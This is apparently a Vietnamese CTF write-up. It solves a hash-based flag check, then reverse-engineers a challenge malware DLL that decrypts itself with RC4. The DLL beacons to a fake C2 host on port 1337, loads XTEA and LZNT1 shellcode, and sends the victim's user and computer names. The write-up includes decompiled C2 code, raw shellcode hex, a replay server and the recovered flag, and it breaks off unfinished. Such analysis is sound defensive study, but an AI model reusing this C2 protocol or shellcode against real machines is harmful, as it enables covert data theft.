X = [[842, -198, 778, -259, -73, -935, 739, 703, 595, 906, -888, -669, -616, 983, 136, 565, 413, -797, 802, 534, -122], [612, -180, -903, 57, 672, -406, 326, -328, -328, 169, -626, -196, 571, 519, -156, 649, 890, 616, 662, -239, 121], [812, 273, -766, 562, 694, 1004, -91, 872, -13, 8, -425, 603, -65, -142, -254, -757, 812, -648, 325, 877, 587], [-351, 237, 242, -748, 364, 508, -988, -591, -871, 242, -220, 755, 373, -329, -462, 906, 636, 132, -65, 20, 655], [-332, -335, -311, 593, -724, 540, -298, 951, 671, 117, 431, 156, 276, -51, 482, 667, 987, -735, -420, -449, -292], [-609, -261, -928, -151, -68, -939, -550, -592, 924, 93, -529, -179, -68, -323, -848, -757, 767, 504, -58, -48, -382], [611, -196, -877, 292, -788, 520, 866, 639, 583, 610, 895, 456, -625, -993, 633, -940, 496, 942, 944, 999, 417], [383, -595, 712, -138, -878, 488, -740, -135, -854, 145, -416, 280, 638, 249, 292, 575, -166, 808, -309, -544, -769], [536, 378, 8, -504, 685, -899, 778, 48, -468, -414, -369, 40, 684, -848, -171, 186, 312, -831, -34, -591, -891], [0, -313, 278, -358, 674, -495, -946, 145, -1012, 147, 651, 178, -1019, 490, 840, -557, 141, -408, -917, -444, 825], [-1016, 713, -36, 668, 1013, -724, -1005, -395, 935, -933, 625, -257, -852, 1003, 137, 69, -794, -712, -83, 913, 1018], [-700, 221, 507, -382, -42, -520, -398, 156, 656, -637, -67, -946, 818, 535, 1005, 957, -803, -937, 23, 774, 34], [49, -80, -247, -543, 128, -986, -311, 718, 513, -640, -124, 593, -376, -428, 134, -699, 929, -611, -866, -13, 992], [-335, 672, -462, -366, -663, 392, 928, -20, -572, -237, -697, 854, 146, 922, 764, 402, 993, 243, -857, -362, 620], [-74, -758, 535, 210, 372, -888, 633, -134, 657, -203, -245, -844, -562, 519, 589, -908, -111, 855, 986, 535, 782], [-638, -618, 94, 33, -668, 102, -869, 135, -135, 267, -439, 620, -408, -832, -688, 893, 937, 630, 536, -213, 214], [-460, -596, -141, 640, 547, 854, -984, -806, -1017, 812, -366, 72, 1000, -467, 579, -84, 269, 175, -846, -879, -356], [-739, 529, -545, -1014, -714, 181, 840, -787, 57, -86, 344, 599, -996, 694, -627, 606, 768, -492, -352, 355, 333], [-748, -606, -176, 153, -926, 778, -716, 175, 978, 514, 669, -368, -194, 723, -897, -78, 370, -271, -616, 123, -184], [-341, -818, -502, 660, -856, -675, 359, 855, 151, 594, -521, -768, -866, 44, 637, -282, -998, 919, -370, -427, 829], [-865, -727, -121, 464, 436, -1004, 943, -62, -239, -796, -806, -930, 811, 301, -138, -371, 175, 684, -31, -446, 975]]
Y = [-622472985781, 443256199922, 4804862013484, -1990292653755, 1716071043623, 2612697655413, 2853361699824, -8094556971432, -1289445257418, -1552556399857, 6101836644339, -3508582733213, -1821100477986, -6183692404382, -581895255209, 311783905729, -1403558929228, 948885246100, 3711633763399, -1222346925610, -2460365508509]

X = matrix(ZZ, X)
Y = vector(Y)
A = X.solve_right(Y)

assert X*A == Y
print(A)

image

Sau khi tính toán được thì ta có kết quả của ma trận [1x21] như sau:

-831904645, 842869369, -1872719316, 1874430657, 1643673264, 842869369, -224886681, 51900271, 1261422793, 1041996681, 1470239221, -532720492, -1467227862, -288608497, -1819333551, -356927857, -47355757, -1525362217, 2055041019, -986512317, 72314917

Việc cuối cùng của ta bây giờ là brute-force dựa trên charset đã có, vì hàm hash_64_fnv1a có sẵn trong python rồi nên ta không phải code lại nó nữa mà chỉ việc gọi nó ra thôi

from ctypes import *
from fnvhash import fnv1a_64

charset = b"!_acdefghilmnoprstuwy"

check = [-831904645, 842869369, -1872719316, 1874430657, 1643673264, 842869369, -224886681, 51900271, 1261422793, 1041996681, 1470239221, -532720492, -1467227862, -288608497, -1819333551, -356927857, -47355757, -1525362217, 2055041019, -986512317, 72314917]

for i in range(21):
    for a in charset:
        for b in charset:
            for c in charset:
                for d in charset:
                    if c_int32(fnv1a_64((chr(a) + chr(b) + chr(c) + chr(d)).encode())).value == check[i]:
                        print(((chr(a) + chr(b) + chr(c) + chr(d)).encode()).decode(),end="")

#may_the_lanterns_of_the_lunar_new_year_light_up_your_path_to_success_and_happiness!!

image

Advanced Persistent Threat

Trước tiên mình xem thư mục Sample trước, thấy có 1 con PE và 1 con DLL. Mình xem con PE trước thì nó chỉ có 3 hàm, và nó gọi 1 hàm tên là ServiceCtrMain

Trong con PE:

image

Trong con DLL:

image

Hàm sub_10001060:

image

Hàm sub_1000110D:

image

image

Hàm sub_1000110D là mã hóa RC4, 1 loại mã hóa đối xứng phổ biến, bạn có thể xem mã nguồn của nó ở bất kì đâu trên github hoặc tại đây

Mình thấy ở đây, nó mở file AmMonitoringProvider.mof rồi decrypt, thì ta để ý ở đây, biến v1 được gán cho giá trị trả về của hàm sub_10001060 mà giá trị của hàm sub_10001060 trả về lại là địa chỉ của 1 vùng nhớ nào đó. Mình quyết định nhảy tới xem nó là gì. Thì nó lại jump tới 1 địa chỉ khác. Tại địa chỉ đó có 1 hàm check signature của 1 file nào đó (khả năng cao là 1 con dll khác).

image

Nên mình quyết định phân tích tiếp từ đó, ở ngay bên trên đó có 1 đoạn base64 trông khá là khả nghi, mình thử decode thì nó ra như này :D

image

image

image

image

Okay, giờ tiếp tục phân tích hàm có đoạn check signature, mình debug 1 hồi, thì thấy các hàm được call ở kia không quan trọng lắm, cho đến khi mình thử debug qua đoạn biến v30 thì bị crash, mình tiến hành thử debug lại xem nó crash ở đoạn nào

image

Khi mình cho chương trình chạy qua hàm sub_E42AA2, thì chương trình vẫn không sao, vậy thì hàm sub_E428C2 sẽ khiến ta bị crash. Mình tiến hành đi vào trong hàm đó phân tích tiếp

image

Thì ở trong hàm sub_E41CE6 có 1 thứ khá thú vị như sau

image

Nó lại gọi lại 1 hàm giống như hàm LineDDA như ở bên ngoài 1 lần nữa, đây là lý do làm cho ta bị crash. Mình lại vào đó để phân tích hàm sub_E41D4B

image

image

Nên mình quyết định dump ra 1 con dll mới đế tiến hành debug tiếp cho tiện, vì flow trước đó cũng chỉ có vậy.

Con dll được dump ra:

image

image

image

Trông đống array kia giống như 1 struct, nên mình tạo struct trước, debug, và qua nhiều lần thì mình có tạo struct cho dễ nhìn như sau

void __stdcall __noreturn Proc(int a1, int a2, LPARAM a3)
{
  struc_1 *v3; // edi
  struc_2 *v4; // edx
  int v5; // eax
  _DWORD *v6; // esi
  _DWORD *v7; // eax
  char *v8; // [esp-Ch] [ebp-5Ch] BYREF
  size_t v9; // [esp-8h] [ebp-58h]
  struc_1 v10; // [esp+10h] [ebp-40h] BYREF
  void *Block; // [esp+30h] [ebp-20h]
  const void *v12[6]; // [esp+34h] [ebp-1Ch] BYREF
  int v13; // [esp+4Ch] [ebp-4h]

  if ( !pAPI )
  {
    v10.memset = (int)memset;
    v3 = (struc_1 *)operator new(0x1Cu);
    v10.memcpy = (int)memcpy;
    v10.malloc = (int)malloc;
    pAPI = (int)v3;
    v10.GetProcAddress = (int)GetProcAddr;
    v10.send = (int)SeemLikeSend;
    v10.___ = 0;
    v10.free = (int)free;
    qmemcpy(v3, &v10, sizeof(struc_1));
  }
  if ( !pHOST )
  {
    v4 = (struc_2 *)operator new(0x24u);
    Block = v4;
    memset(v4, 0, sizeof(struc_2));
    v4->host = (int)"totally-not-malicious-host.local";
    v4->port = 1337;
    v5 = pAPI;
    v4->connecting = 0;
    v4->field_8 = 0;
    v4->field_C = 0;
    v4->XTEAenc = 0;
    v4->XTEAdec = 0;
    v4->LZNTenc = 0;
    v4->LZNTdec = 0;
    v4->pAPT = v5;
    pHOST = v4;
  }
  if ( !dword_74CD7520 )
  {
    v6 = operator new(8u);
    Block = v6;
    v13 = 0;
    v9 = 24;
    *v6 = 0;
    v6[1] = 0;
    v7 = operator new(v9);
    v13 = -1;
    *v7 = v7;
    v7[1] = v7;
    v7[2] = v7;
    *((_WORD *)v7 + 6) = 257;
    *v6 = v7;
    dword_74CD7520 = (int)v6;
  }
  while ( 1 )
  {
    if ( (unsigned __int8)check_connection() )
    {
      while ( pHOST->connecting )
      {
        Sleep(0xAu);
        memset(v12, 0, 12);
        sub_74CD1467(v12);
        v13 = 1;
        sub_74CD23AC((int *)&v8, v12);
        sub_74CD1E9F(v8, (char *)v9);
        v13 = -1;
        sub_74CD16B7(v12);
      }
    }
    Sleep(0x7530u);
  }
}

Vì có hàm check_connection, tức là ta sẽ phải tiến hành gửi data thì ta mới tiếp tục debug được. Mình mô phỏng lại quá trình mình gửi gói tin như sau

import socket

def handle_client(client_socket):
    # Sequence of messages to send
    messages = [
        "bebafeca0e0000000461647661706933322e646c6c00",
        "bebafeca79020000010000000050010000558bec83ec14837d0c005356570f842f0100008b7d1485ff0f84240100008b45108bc88d50188955fc83e107760cb8080000002bc103d08955fc8b451839100f82fd0000008b7508526a00578b460cffd0ff75108b46108d5f18ff750c895d0853ffd08b0683c41868ac6f920268bc99e10effd085c00f84c60000006a108d4dec51ffd08b45fc83c0e803c389450c3bd8736a8b3333c08b7b048d58400f1f008bd78bcfc1e104c1ea0533d18bc883e10303d78b4c8dec03c82d4786c86133d103f28bd68bcec1e104c1ea0533d18bc8c1e90b03d683e1038b4c8dec03c833d103fa83eb0175b98b5d088933897b0483c308895d083b5d0c72998b7d148b45108947048b45ec3541455458c707414554588947088b0f8b45f0354145545889470c8bc13345f4334df8894f148b4d188947108b45fc5f5e8901b0015b8be55dc214005f5e32c05b8be55dc21400cccccc558bec8b4d0c83ec14535685c90f84f80000008b5d1485db0f84ed0000008b45108d50e8f6c2070f85de0000008b451839100f82d30000008b3181fe414554580f85c50000003951040f87bc0000008b410833c68945ec8b410c33c68945f08b411033c68945f48b411483c11833c6894d108945f88d04118945fc3bc87377578b01be406ede8d8903bb400000008b79048bd08bc8c1e104c1ea0533d18bcec1e90b03d083e1038b4c8dec03ce81c64786c86133d12bfa8bd78bcfc1e104c1ea0533d18bce83e10303d78b4c8dec03ce33d12bc283eb0175b88b5d148b4d1083c108894d108903897b0483c308895d143b4dfc728b5f8b450c8b4d185e5b8b40048901b0018be55dc214005e32c05b8be55dc21400cccccccccccccccccccccc",
        "bebafeca28000000414554580b00000001fb78a72167016c973955e4162d0c6a8724fcfccb3d122158ff757d46772101",
        "bebafeca580100004145545839010000b54fb16fb069d5f6aa74bfce1e7acadfff39c559031103c32d29296582588c894d17fc54eaf5d75e634b48c52a37fa1692c135b8ec566eada9b292ee81b7f96ecc2bd0006935b5561d0f487fb0449f2a7195c5a5cfa3e381a949f62f49f58eabfd959aa0b33589f58f4932dc0032ad91e0ed74b83c07d5dbce2312d333f5ab2fe12ce4386bd7614a7e10220bce11f5cfbab18a03ddac1e01968da4c488c06e20131a953235e0267d85b5a773142500a002826633c6977d018f8b085f327c7f38d1d59838e891e7cf1779cacca0ce5f6df615ee5202e242f3b0a94a5102ac4c984c9723b52a4f03405fdfd3883d11e3a02b65dd5c4195a4dbc543405663a59b44c3c1a87168d883005d70325fbeaeb9aef25dab01198a5146d396a68794e0290ac6d77bff051916f57a01b0e6fc995322ea57fd5a429709b2ea42737e22162cb84c9723b52a4f03405cde09ebfefc5628",
        "bebafeca3000000041455458140000000fea624ac93abb804b4a97254af779a8804db01a96fce8c5af4e0a9e09c3a50c06b9f8596f296075",
        "bebafeca30000000414554581400000035ab9bdf6a0556fddd0c3cafa03d320dd0a52d3f7c3f4b69d10dde2b96cd65fdb14905e21f659937",
        "bebafecae804000041455458cb040000557f5fc8a5d8ee06232f1ce068e0d2e4da0a9c094328183490bfa7d4b8f994c8b059eda20c72fac325cd1bb4a5bcb180c8d68b9e291b44da1ffefe585f8fef243cc81ae887615daea121e53c82c1b0d0a0684c05845ceb86c20226f12a5745d07eb697aa342c6825cd1b26c7414595acb078b3e95f6c11a659bebc075060f7400ad1d77b3c9f72c7c5e8668fef29f0a992407bb1f61666f8247df4e24ddeb7c6b1c531f58e14ad8de9f6961b40f4b13abd2dea746286f2d9ab21a0a22f79963ab078b3e95f6c11a659bebc075060f7400ad1d77b3c9f72c76ae6203b9de7d25aa8d996a003fd555c801ad904dc8b5145b1c531f58e14ad8de9f6961b40f4b13a8390dce88595215d9fc3f6a53e7e5dc4a1ae436e7194fa171d10675958f449a5bdd72c6e6b4112cf971cdc6c74e4f7d0a1820da3b327e3e95862a4d9ae0da97a98ff9c181d2d2a73f90744cb89b6e9bcd5e617961b8dfa799803fcc2525bd4ee480a4c85dfc9a7b1a415a91934db613f75365189c660d89fff78ee265334adf7096fdd9299b74150dd57a911d42b889d1f344ef0bbd8cc18f05089f5fa895bc2127e9ffc4cb04e3fe9dffc51afa0dc2492200013647b680d4423a12d94d482be92d6d5e8a08158d723392c359e1a988c120766523b0240d21e07e4cb7d4c4736d88fada37ee0f722ed4c998f842fbddbae1aa78b315fca7ab3f205ebcf9d9425b86eae94cb1f8233171c833e37bef32a440a7978921e57803878702132a88d1a6fed972f626a43cb8ed0ef500e5eee420255c617908f0a97a5110529f7ea48a511b667453d8bc0ea589c2c5cb11a759487838046c0e4b04eb39a11d297970bbdd5b9a5dcc196395cc59bf840a48134b4ba4ab7c3e53d78d3b4a3df8c3c9d7cbfecda338b51ea6210809dee80235d053bdecab9b98dde65df447269613290c780a91e3aa45e50aed5a48fccdf1b25ae83fabd889f4ae5cbf9a753173a0dcda48b8b5e6fef704dafc40912de96a0d9449da55c1711d1c7ced7aee913afcaed4b21e7cc286a80a9fc9000e0ed48d29a62d9a8214391ecc92723bc33f36acecd2959c542bf7290275fd107507d298aa79e5c1b12b140cca7fc696183115473667b1bca08c1ce82ed83e38dc26da9458770e178b41229cb349fce26bbf7c3819eb0e95390dac738a575e9b0ca184ae8cd5f444c3b6a906d6e99b79b09b1c07f0c5988e43307d9bd1ad5ebf5e7871c97d0f6b23fd1bf84968b608436fedf13b674e668e7f61d385164fba436d1169a58129106748398868507b9a00c9071a91eea08891fca5de6e871f9b928351be45d4650771f85d778b002cd840558204e98f5f9777cf9c6d967fdf7bb4355978e523d682d17b6e5b1fdec5cee68c17f0af81e263200089838ce6fd2f116fedd01a900932d960107eef590a06c5b4252c041fbb131d653c07a4a11e26fbbf968baff1b1e081cbc6579e9b54a367483a9d87194ef2603c797c8ad913a40ca4bde0abdbecffd26d46014981a623a0386467bb9aca3bda464af2c8df9bfefad94d7e79cc97cba419a84594171829ac12a411856c1f2e28aee09848a6e2234dce3340fdeb1c03d9b4343886cdbd91601c2e4830e4607bd97062b92b2c1927ced3c39729f20eeae41e8c0c7ae32613a9081c71edfd5f2528dd9cd8b56a352212f251d12b34085f812adbc8bb919d29b298d21a9570c21eb34cfa218051b5bd5fb8078b125b31bfa703c067e57b0bc9896072bd75436c715",
        "bebafeca28000000414554580c000000a3a12c0401f558f0759f7c50a64c6f666a7c7dcd42251c4d8bbbc5e8cd02bdef",
        "bebafeca28000000414554580c000000d5142bbf3005d1d1ddd2185c6e4c3f92195a4ddfc763c88398fdb87df9e654cc",
        "bebafeca58000000414554583d00000044695bc5a9e71e0b4a95a72643b607059e25b0f139d4eab186ed8d56bfd9c458662db2e3fb5a8b5f6db44143c092d9a0b911d798eab2a2d30c8eabd811189fe83b55efdf40aba58724f9bd065e7c4dd0",
    ]
    message_index = 0

    while message_index < len(messages):
        messagehex = messages[message_index]
        message = bytes.fromhex(messagehex)
        client_socket.send(message)
        print(f"Sent message: {messagehex}")
        message_index += 1

        # Receive response
        response = client_socket.recv(1024)
        print(f"Received response: {response.hex()}")

    client_socket.close()

def main():
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind(('0.0.0.0', 1337))
    server_socket.listen(1)

    print("Server is listening for incoming connections...")

    while True:
        client_socket, addr = server_socket.accept()
        print(f"Accepted connection from: {addr}")
        handle_client(client_socket)

if __name__ == "__main__":
    main()

Các biến messages ở kia là data được gửi từ port 1337 như mình thấy trong chương trình, nhưng trước khi cho chay, ta phải cho client nhận diện được server. Ta sẽ phải thêm host như sau

image

Cách hoạt động của việc trao đổi qua lại các gói tin và cách thức file được mã hóa

Mình sẽ chia các gói tin thành 4 loại:

  1. Cái gì đó mình cũng không rõ lắm: Nhưng trông như load lib và mem

  2. Shellcode: Shellcode cho việc mã hóa, mỗi gói tin shellcode sẽ bao gồm cả hàm mã hóa và hàm giải mã. Mỗi khi shellcode mã hóa được load vào, các gói tin sau sẽ sử dụng hàm mã hóa và giải mã đã được load vào để phục vụ cho việc trao đổi

  3. Request: Yêu cầu gì gửi cái đó, sau khi các gói tin shellcode được gửi lên hết

  4. File + key dùng cho việc mã hóa: Do phân tích mình thấy nó sử dụng key, và trông nó giống với mã hóa dòng khi đọc src. Thêm với việc mình dùng ciphertext + key cho chạy qua hàm mã hóa thì ra được plaintext, giống với RC4 nên mình để tên nó là RC4 cho dễ gọi

    image

Luồng chạy cơ bản của chương trình

Chương trình sẽ gửi các gói tin có dạng như bebafeca28000000414554580b00000001fb78a72167016c973955e4162d0c6a8724fcfccb3d122158ff757d46772101. Sau khi nhận được data, chương trình sẽ kiếm tra xem có đúng định dạng của gói tin hay không qua signature là 0xCAFEBABE

image

Tiếp theo chương trình sẽ lấy size của đoạn data không tinh 4 byte signature và 4 byte chỉ đổ lớn

image

Và đoạn recv cuối cùng sẽ lấy đoạn data sau cùng trông như này

image

Sau khi chia ra được 3 phần như vậy rồi. Chương trình sẽ tiền hành giải mã gói tin(tùy thuộc vào thời điểm gói tin được gửi. Như trong trường hợp này thì chỉ giải mã XTEA).

image

Tiến hành giải mã xong, chương trình sẽ cấp phát 1 vùng nhớ để chứa địa chỉ được gán cho data mà mình vừa nhận được thông qua hàm sau(Nói chung hàm này mình không thấy nó có gì quan trọng lắm)

image

Sau đó chương trình thực hiện quá trình xử lý để gửi đi. Ở trong hàm này có 5 option cho ta chọn

image

Tùy vào mỗi gói dữ liệu khác nhau sẽ nhảy vào các option khác nhau.

Tiến hành mã hóa, add size, add signature và gửi trả

image

Tiến hành mã hóa các kiểu

image

Add size, add signature và gửi đi

Phân tích các gói tin

image

Gói tin thứ 1, có nội dung là advapi32.dll. Đây là loại 1 mình đã phân loại

Tiếp theo chương trình đi vào hàm xử lý để trả về cho host

image

Ở đây chương trình chạy vào option số 4 cho ta để dữ liệu được trả về, do ở đây ta chưa load shell mã hóa nên ta gửi gì thì nhận lại cái đó

image

Gói tin thứ 2 là shellcode của mã hóa XTEA, bao gồm cả thuật toán mã hóa và giải mã

Thuật toán mã hóa được dùng để mã hóa khi gửi gói tin đi:

char __stdcall sub_A72FE1(int a1, int a2, int a3, _DWORD *a4, unsigned int *a5)
{
  int *v5; // edi
  unsigned int v6; // edx
  int v7; // ecx
  unsigned int *v9; // ebx
  void (__stdcall *v10)(int *, int); // eax
  unsigned int v11; // esi
  unsigned int v12; // eax
  unsigned int v13; // edi
  int v14; // ebx
  unsigned int v15; // ecx
  int v16; // eax
  int v17; // ecx
  int v18; // eax
  int v20[4]; // [esp+Ch] [ebp-14h] BYREF
  unsigned int v21; // [esp+1Ch] [ebp-4h]
  unsigned int *v22; // [esp+28h] [ebp+8h]
  unsigned int v23; // [esp+2Ch] [ebp+Ch]

  if ( !a2 )
    return 0;
  v5 = a4;
  if ( !a4 )
    return 0;
  v6 = a3 + 24;
  v21 = a3 + 24;
  v7 = a3 & 7;
  if ( (a3 & 7) != 0 )
  {
    v6 += 8 - v7;
    v21 = v6;
  }
  if ( *a5 < v6 )
    return 0;
  (*(void (__thiscall **)(int, _DWORD *, _DWORD, unsigned int))(a1 + 12))(v7, a4, 0, v6);
  v9 = a4 + 6;
  v22 = a4 + 6;
  (*(void (__cdecl **)(_DWORD *, int, int))(a1 + 16))(a4 + 6, a2, a3);
  v10 = (void (__stdcall *)(int *, int))(*(int (__stdcall **)(int, int))a1)(249665980, 43151276);
  if ( !v10 )
    return 0;
  v10(v20, 16);
  v23 = (unsigned int)a4 + v21;
  if ( v9 < (_DWORD *)((char *)a4 + v21) )
  {
    do
    {
      v11 = *v9;
      v12 = 0;
      v13 = v9[1];
      v14 = 64;
      do
      {
        v15 = v12 + v20[v12 & 3];
        v12 -= 1640531527;
        v11 += v15 ^ (v13 + ((16 * v13) ^ (v13 >> 5)));
        v13 += (v12 + v20[(v12 >> 11) & 3]) ^ (v11 + ((16 * v11) ^ (v11 >> 5)));
        --v14;
      }
      while ( v14 );
      *v22 = v11;
      v22[1] = v13;
      v9 = v22 + 2;
      v22 = v9;
    }
    while ( (unsigned int)v9 < v23 );
    v5 = a4;
  }
  v5[1] = a3;
  v16 = v20[0] ^ 'XTEA';
  *v5 = 'XTEA';
  v5[2] = v16;
  v17 = *v5;
  v5[3] = v20[1] ^ 'XTEA';
  v18 = v20[2] ^ v17;
  v5[5] = v20[3] ^ v17;
  v5[4] = v18;
  *a5 = v21;
  return 1;
}

Thuật toán dùng để giải mã khi nhận gói tin và đọc:

char __stdcall sub_A73131(int a1, _DWORD *a2, int a3, unsigned int *a4, unsigned int *a5)
{
  unsigned int *v5; // ebx
  unsigned int v6; // edx
  unsigned int *v7; // ecx
  unsigned int v8; // eax
  unsigned int v9; // esi
  int v10; // ebx
  unsigned int v11; // edi
  unsigned int v12; // ecx
  int v14[4]; // [esp+8h] [ebp-14h]
  unsigned int v15; // [esp+18h] [ebp-4h]
  unsigned int v16; // [esp+2Ch] [ebp+10h]

  if ( !a2 )
    return 0;
  v5 = a4;
  if ( !a4 )
    return 0;
  v6 = a3 - 24;
  if ( (((_BYTE)a3 - 24) & 7) != 0 || *a5 < v6 || *a2 != 'XTEA' || a2[1] > v6 )
    return 0;
  v14[0] = a2[2] ^ 'XTEA';
  v14[1] = a2[3] ^ 'XTEA';
  v14[2] = a2[4] ^ 'XTEA';
  v7 = a2 + 6;
  v16 = (unsigned int)v7;
  v14[3] = a2[5] ^ 'XTEA';
  v15 = (unsigned int)a2 + v6 + 24;
  if ( v7 < (unsigned int *)((char *)v7 + v6) )
  {
    do
    {
      v8 = *v7;
      v9 = -1914802624;
      *v5 = *v7;
      v10 = 64;
      v11 = v7[1];
      do
      {
        v12 = v9 + v14[(v9 >> 11) & 3];
        v9 += 1640531527;
        v11 -= v12 ^ (v8 + ((16 * v8) ^ (v8 >> 5)));
        v8 -= (v9 + v14[v9 & 3]) ^ (v11 + ((16 * v11) ^ (v11 >> 5)));
        --v10;
      }
      while ( v10 );
      v16 += 8;
      v7 = (unsigned int *)v16;
      *a4 = v8;
      a4[1] = v11;
      v5 = a4 + 2;
      a4 += 2;
    }
    while ( v16 < v15 );
  }
  *a5 = a2[1];
  return 1;
}

Trong hàm xử lý để gửi trả phản hồi, chương trình chạy vào option số 1. Thêm với việc thực hiện mã hóa XTEA vừa được load để mã hóa kết quả rồi gửi lại phản hồi cho host. Trong hàm nãy lấy key ngẫu nhiên từ hàm cryptbase_SystemFunction036

image

Khi nhận được gói tin thứ 3, trước hết chương trình sẽ tiến hành giải mã, vì ở gói tin trước ta đã load shellcode thực hiện giải mã XTEA khi nhận gói tin và mã hóa XTEA khi gửi, nên chương trình sẽ giải mã nó ra cho ta đọc trước rồi mới tiến hành tuần tự như gói tin trước.

image

Dữ liệu sau khi được giải mã

image

Gói tin thứ 4 lại là shellcode, lần này chứ thuật toán mã hóa và giải mã LZNT1

Mã hóa LZNT1

char __stdcall sub_DD3A89(int (__stdcall **a1)(int, int), int a2, int a3, _DWORD *a4, _DWORD *a5)
{
  int (__stdcall **v5)(int, int); // esi
  int (__stdcall *v6)(int, int, int, _DWORD *, int, int, int *, int); // ebx
  int (__stdcall *v7)(int, int (__stdcall ***)(int, int), char *); // eax
  int v8; // eax
  int v9; // edi
  _DWORD *v11; // ecx
  char v12[4]; // [esp+Ch] [ebp-8h] BYREF
  int v13; // [esp+10h] [ebp-4h] BYREF

  v5 = a1;
  v6 = (int (__stdcall *)(int, int, int, _DWORD *, int, int, int *, int))(*a1)(0x37AC0DEC, 0x4A1C450C);
  v7 = (int (__stdcall *)(int, int (__stdcall ***)(int, int), char *))(*v5)(0x37AC0DEC, 0x8FC8E20);
  if ( !v6 )
    return 0;
  if ( !v7 )
    return 0;
  if ( v7(258, &a1, v12) >= 0x8000000 )
    return 0;
  v8 = ((int (__cdecl *)(int (__stdcall **)(int, int)))v5[5])(a1);
  v9 = v8;
  if ( !v8 )
    return 0;
  if ( v6(258, a2, a3, a4 + 1, *a5 - 4, 4096, &v13, v8) >= 0x8000000 )
  {
    ((void (__cdecl *)(int))v5[6])(v9);
    return 0;
  }
  v11 = a5;
  *a4 = 'LZNT';
  *v11 = v13 + 4;
  ((void (__cdecl *)(int))v5[6])(v9);
  return 1;
}

Hàm giải mã

char __stdcall sub_DD3B59(int (__stdcall **a1)(int, int), _DWORD *a2, int a3, int a4, _DWORD *a5)
{
  _DWORD *v5; // esi
  int (__stdcall *v6)(int, int, _DWORD, _DWORD *, int, _DWORD **); // eax
  _DWORD *v7; // ecx
  _DWORD *v8; // esi

  v5 = a2;
  if ( *a2 != 'LZNT' )
    return 0;
  v6 = (int (__stdcall *)(int, int, _DWORD, _DWORD *, int, _DWORD **))(*a1)(934022636, 1259364965);
  v7 = v5 + 1;
  v8 = a5;
  if ( v6(2, a4, *a5, v7, a3 - 4, &a2) >= 0x8000000 )
    return 0;
  *v8 = a2;
  return 1;
}

Sau khi vào hàm xử lý, chương trình nhảy vào option default

image

Lần này trước khi gửi đi thì nó thực hiễn mã hõa LZNT1 trước như sau

image

Bên trong hàm mã hóa LZNT1 nó thực hiện gọi 2 hàm lần lượt là ntdll_RtlCompressBufferntdll_RtlGetCompressionWorkSpaceSize

image

image

Tiếp đến nó lại mã hóa đống data vừa được mã hóa bằng LZNT1 bằng mã hóa XTEA rồi sau đó lại trả về kết quả cho ta

image

Gói tin thứ 5 sau khi được giải mã XTEA rồi đến giải mã LZNT1 thì có nội dụng như sau

Nội dụng sau khi được giải mã XTEA

image

Nội dụng sau khi được giải mã hoàn toàn giống với nội dụng của gói tin đầu tiên

image

Sau đó kết quả lại được mã hóa LZNT1 rồi đến mã hóa XTEA để gửi trả.

Gói tin thứ 6 có nội dung cũng không có gì lắm sau khi được giải mã

image

Ta sẽ bỏ qua nó luôn để đến với gói tin thứ 7 là đoạn shellcode dài nhất. Nhưng khi mình xem thử nó là gì sau khi giải mã XTEA rồi đến LZNT1 thì trông nó như sau

image

Trông có vẻ như nó vẫn còn 1 lớp mã hóa nữa thì mới có thể đọc được, để đọc được t cần phải trace xem nó được gọi lúc nào là được.

Tiếp theo xem trong hàm xử lý dữ liệu trả về xem nó có làm gì khác không

image

Lần này chương trình chạy vào option thứ 2, trong này nó vẫn sử dụng mã hóa LZNT1 rồi đến mã hóa XTEA để mã hóa rồi gửi trả.

Gói tin thứ 8 sau khi tất cả các shellcode đã được load, dù ta chưa biết gói tin shellcode thứ 3 nó là gì, thì gói tin này sẽ chứa request mà ta yêu cầu

Nội dung của gói những gói tin này sau khi giải mã xong mình lại không đọc được, không biết do sao, nhưng mình kệ cho nó chạy tiếp vào hàm response xem sao.

Lần này nó đã chạy vào option thứ 3

image

Ở trong này nó gọi 1 hàm mà mình không biết nó là hàm gì, nên mình đặt 1 breakpoint ở đây xem sao, mình thấy nó là 1 đoạn shellcode khá dài, nên mình nghĩ đây sẽ là code sau khi được giải mã ở gói shellcode thứ 3 mà nãy ta không đọc được

int __stdcall sub_B20000(int a1, int a2, _BYTE *a3, int a4)
{
  int result; // eax
  int v5; // esi
  int (__stdcall *v6)(int, int); // eax
  void (__stdcall *v7)(char *, int *); // eax
  int v8; // eax
  int (__stdcall *v9)(int, int); // eax
  void (__stdcall *v10)(char *, int *); // eax
  char v11; // [esp+4h] [ebp-108h] BYREF
  int v12; // [esp+5h] [ebp-107h]
  char v13[259]; // [esp+9h] [ebp-103h] BYREF

  if ( !*a3 )
  {
    v5 = a1;
    (*(void (__cdecl **)(char *, _DWORD, int))(a1 + 12))(&v11, 0, 261);
    v9 = *(int (__stdcall **)(int, int))v5;
    a1 = 256;
    v10 = (void (__stdcall *)(char *, int *))v9(249665980, 1071500813);
    if ( v10 )
      v10(v13, &a1);
    v12 = a2;
    v8 = a1 + 4;
    goto LABEL_11;
  }
  if ( *a3 == 1 )
  {
    v5 = a1;
    (*(void (__cdecl **)(char *, _DWORD, int))(a1 + 12))(&v11, 0, 261);
    v6 = *(int (__stdcall **)(int, int))v5;
    a1 = 256;
    v7 = (void (__stdcall *)(char *, int *))v6(483040486, 129557701);
    if ( v7 )
      v7(v13, &a1);
    v12 = a2;
    v8 = a1 + 5;
LABEL_11:
    v11 = 3;
    return (*(int (__stdcall **)(char *, int))(v5 + 4))(&v11, v8);
  }
  result = (unsigned __int8)*a3 - 2;
  if ( *a3 == 2 )
    return sub_B20280(a2, (int (__stdcall **)(int, int))a1, a3 + 1);
  return result;
}

Lúc này chương trình chạy vào luồng sau, thực hiện gọi hàm GetUserNameA để lấy đi tên người dùng, khi mình cho chạy qua thì nó trả ra đúng username của mình

image

Rồi chương trình lại tiếp tục mã hóa 2 lần rồi gửi phản hồi cho ta. Từ đây ta cũng biết được rằng là server yêu cầu gửi username của nạn nhân

Gói tin thứ9 cũng là 1 request như gói tin thứ 8 không biết lần này nó sẽ yêu cầu gì , data sau khi được giải mã vẫn không đọc được

image

Sau đó chương trình lại chạy vào hàm này

image

Lần này chương trình thực hiện gọi hàm GetComputerNameA, rồi cũng tương tự như mọi lần, mã hóa 2 lần rồi gửi trả cho ta. Ở đây ta cũng biết được rằng server yêu cầu tên máy của nạn nhân

image

Gói tin cuối cùng

image

Lần này sau khi giải mã thì nó chứa 1 chuỗi gì đó có thể là dùng cho việc mã hóa

image

Lần này nó chạy vào 1 hàm mới bên trong hàm có 2 hàm GetName

